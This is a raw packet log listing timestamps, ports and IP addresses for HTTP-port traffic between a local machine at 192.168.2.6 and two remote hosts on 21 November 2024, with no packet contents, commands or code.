Nov 21, 2024 14:11:24.689137936 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.689208031 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.689244032 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.689311028 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.691184044 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.691322088 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.691365004 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.691418886 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.693212032 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.693284035 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.693320990 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.693387032 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.695369959 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.695441008 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.695442915 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.695557117 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.697477102 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.697515011 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.697545052 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.697592020 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.699569941 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.699583054 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.699672937 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.701380014 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.701436996 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.701481104 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.701555967 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.703418970 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.703490019 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.703515053 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.703682899 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.705482960 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.705528021 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.705559015 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.705617905 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.707520008 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.707600117 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.707617044 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.707801104 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.709635019 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.709711075 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.709718943 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.709774971 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.711600065 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.711678028 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.711679935 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.711782932 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.713649035 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.713720083 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.713743925 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.713810921 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.715735912 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.715800047 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.715801954 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.715869904 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.717730999 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.717824936 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.717827082 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.718044996 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.719784975 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.719870090 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.719886065 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.719950914 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.721832037 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.721923113 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.722033978 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.722100019 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.723881006 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.723953009 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.723985910 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.724051952 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.725892067 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.725966930 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.725996971 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.726077080 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.727941990 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.728029013 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.728077888 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.728136063 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.730005980 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.730086088 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.730129957 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.730197906 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.732036114 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.732101917 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.732175112 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.732264042 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.734066010 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.734153032 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.734184980 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.734251976 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.736120939 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.736219883 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.736234903 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.736285925 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.738121033 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.738184929 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.738229036 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.738300085 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.738636017 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.738697052 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.739207983 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.739243031 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.739408970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.739495039 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.740025997 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.740119934 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.740165949 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.740238905 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.740343094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.740462065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.740535021 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.741513968 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.741604090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.741784096 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.741954088 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.742049932 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.742088079 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.742161036 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.742624044 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.742736101 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.742780924 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.743781090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.743886948 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.743900061 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.743944883 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.743944883 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.743987083 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.744168043 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.744981050 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.745070934 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.745220900 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.745683908 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.745776892 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.745783091 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.745847940 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.746169090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.746258974 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.746304989 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.747236013 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.747349024 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.747416019 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.747529984 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.747674942 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.747706890 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.747793913 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.748487949 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.748501062 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.748907089 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.749361038 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.749439955 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.749488115 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.749500990 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.749521017 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.749552011 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.749620914 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.750623941 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.750706911 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.750860929 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.751185894 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.751300097 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.751308918 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.751353979 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.751830101 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.751843929 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.751961946 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.753082037 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.753129959 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.753140926 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.753213882 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.753215075 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.753252029 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.753420115 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.754053116 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.754132986 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.754215956 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.754873991 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.754956961 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.754990101 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.755095005 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.755137920 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.755234003 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.755295038 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.756365061 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.756392002 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.756485939 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.756774902 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.756912947 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.756994963 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.757440090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.757545948 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.757664919 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.758568048 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.758630037 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.758644104 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.758645058 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.758702993 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.758737087 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.758800030 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.759718895 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.759850025 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.759933949 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.760375023 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.760447025 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.760452032 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.760525942 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.760924101 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.761029005 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.761141062 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.761982918 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.762082100 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.762151957 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.762260914 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.762335062 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.762346029 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.762495041 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.763108015 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.763211012 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.763309956 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.764066935 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.764169931 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.764219999 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.764250994 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.764270067 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.764282942 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.764410973 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.765379906 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.765491009 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.765548944 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.765886068 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.765990973 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.766043901 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.766159058 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.766493082 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.766628981 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.766772032 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.767673969 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.767718077 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.767771006 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.767816067 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.767827988 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.767918110 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.768809080 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.768956900 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.769284964 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.769592047 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.769731045 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.769906044 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.769922972 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.770046949 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.770282030 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.771109104 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.771219015 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.771342039 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.771493912 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.771570921 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.771580935 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.771647930 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.772222042 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.772308111 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.772388935 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.773272038 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.773360014 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.773372889 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.773375988 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.773451090 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.773479939 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.773629904 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.774483919 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.774614096 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.774776936 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.775130033 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.775198936 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.775233030 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.775309086 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.775609016 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.775712967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.775846958 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.776746035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.776910067 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.776997089 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.777009964 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.777126074 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.777132988 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.777894974 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.778004885 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.778074026 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.778769970 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.778894901 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.778959990 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.779047966 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.779059887 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.779294014 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.780194998 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.780267000 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.780334949 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.780589104 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.780787945 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.781306028 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.781460047 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.781533957 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.782464027 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.782576084 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.782665968 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.783605099 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.783746958 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.783826113 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.784719944 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.784857035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.784918070 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.785865068 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.785979033 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.786071062 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.786992073 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.787061930 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.787182093 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.788103104 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.788326979 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.788850069 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.789288998 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.789405107 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.790457964 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.790602922 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.790606976 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.790668011 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.791543961 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.791712046 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.791801929 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.792721987 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.792783022 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.792841911 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.793814898 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.794003963 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.794123888 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.794996023 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.795113087 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.795171022 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.796087027 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.796159029 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.796251059 CET	49903	80	192.168.2.6	34.116.198.130
